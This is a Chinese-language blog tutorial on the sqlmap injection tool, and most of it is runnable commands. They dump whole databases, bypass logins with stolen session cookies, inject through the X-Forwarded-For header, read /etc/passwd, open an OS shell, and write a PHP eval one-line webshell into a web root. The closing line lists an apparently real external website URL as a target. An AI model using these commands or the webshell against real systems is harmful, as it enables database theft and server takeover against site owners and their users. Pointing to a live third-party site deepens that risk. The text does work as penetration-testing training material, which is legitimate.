本文最后更新于 2024-07-26,文章内容可能已经过时。

sqlmap的使用

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

支持数据库类型:

  • PostgreSQL(简称PG)
  • Mysql(或MariaDB)
  • Microsoft SQL Server
  • Sybase
  • Oracle

一、工具安装

1、环境:

python2.7.5
建议安装在linux下:
python -V

image-20231110163113380

2、安装:

(1)将sqlmap.zip 上传放在/opt目录下:

(2)解压:

yum install unzip
unzip sqlmap.zip

(3)授权:

cd sqlmap
chmod u+x sqlmap.py

二、使用

1、扫描:

(1) get请求:注意url中最好带上参数,比如id=1

level参数有1-5可以选择,数字越大,测试的越详细

./sqlmap.py -u "url" --level=5

./sqlmap.py -u "url"  -a //把用户,表,用户权限,所有数据库全部导出

(2)拖库:

./sqlmap.py -u "url" --current-db     //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值

(3)post请求:

  • 需要准备post请求文件:

通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以

image-20231110170904583

  • 拖库

需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功

./sqlmap.py -r "文件名" -p 参数名     //指定参数的post请求扫描

//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables

image-20240219093746071

image-20240219093819335

以下是postdata.txt 文件内容,注意最后有两个空行

GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close



2、状态保持: --cookie

如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:

get: 
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx

//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db

3、getshell:

(1)自动写入木马:–os-shell

建议不使用post请求:

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell

(2)读文件: --read-file

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"

(3)写文件:–file-write 源文件 --file-dest 目标文件


    //制作一个一句话木马
    echo "<?php eval($_POST['a']);?>" > /tmp/secure21
    //写入木马
    ./sqlmap.py -u "http://192.168.248.128/hz04/phpdemo/posts/articledetail.php?id=2" --file-write "muma.php" --file-dest "/opt/lampp/htdocs/hz04/phpdemo/posts/upload/muma.php"

外部网站:

http://www.rgfchina.com.cn/s.php?id=12